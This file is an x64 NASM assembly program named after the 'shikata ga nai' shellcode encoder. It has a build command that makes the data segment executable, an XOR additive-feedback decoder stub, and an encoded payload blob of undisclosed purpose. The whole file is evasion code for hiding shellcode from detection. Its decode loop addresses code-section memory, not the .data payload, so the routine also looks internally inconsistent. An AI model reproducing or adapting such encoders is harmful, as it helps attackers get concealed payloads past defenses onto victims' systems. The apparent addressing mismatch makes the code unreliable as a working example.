shikata-ga-nai_x64.asm

; nasm -f macho64 test.asm -o test.o \
; && ld -o test -segprot __DATA rwx rwx test.o

global start

section .text
 
start:
	mov     rax, 0x0123456789ABCDEF  ; Set the initial key (IV)
	lea     rbx, [rel $]             ; Place current instruction pointer RIP in RBX
	xor     rcx, rcx                 ; Zero RCX
	mov     cl,  payload_len/8       ; Set amount of loops
decode:
	xor     [rbx+0x1a], rax          ; XOR buffer pointer (RBX+Offset) with the key
	add     rax, [rbx+0x1a]          ; Update the key. Key = key + decoded
	add     rbx, 0x8                 ; Update the pointer (RBX = RBX + 8)
	loop    decode                   ; Loop
 
section .data 
payload:    db      `W\xac\xab\x89e/!^\xcd.\xf2\xc1X}*eY\xb8\xcdj\xf2\x815g\x11\x8b\'\xdc\xbd\x827v\xfd\xbd\x8fh\'\xe8\'"\xf2D\xa8\x01\xa8\xedE\x9a=\xb1\x80*n\xa4\xc0\xe628\xa9\xcbo7\xd1Z\xc5\xa5\x81z\x89\x7f\\\x80\x9d\xaa\xf8yY\x85\x16\xcc\xda\x15\xa6\x81e\x87\xee\xff\x12jR:?\x87\xee\xfd\x92\x8a\x9a5\xc5\xcf\xdf\xc1\x9aN#J\xc7\'\x17\xc2\xda\xb0\x0c(\xae\xd9\x07\xb1\xb2\xb0\x1a\'\x0c\x02\x10\x04\x90\xe3\xcd\x7f\xe4\xac\xafc`

payload_len:   equ     $-payload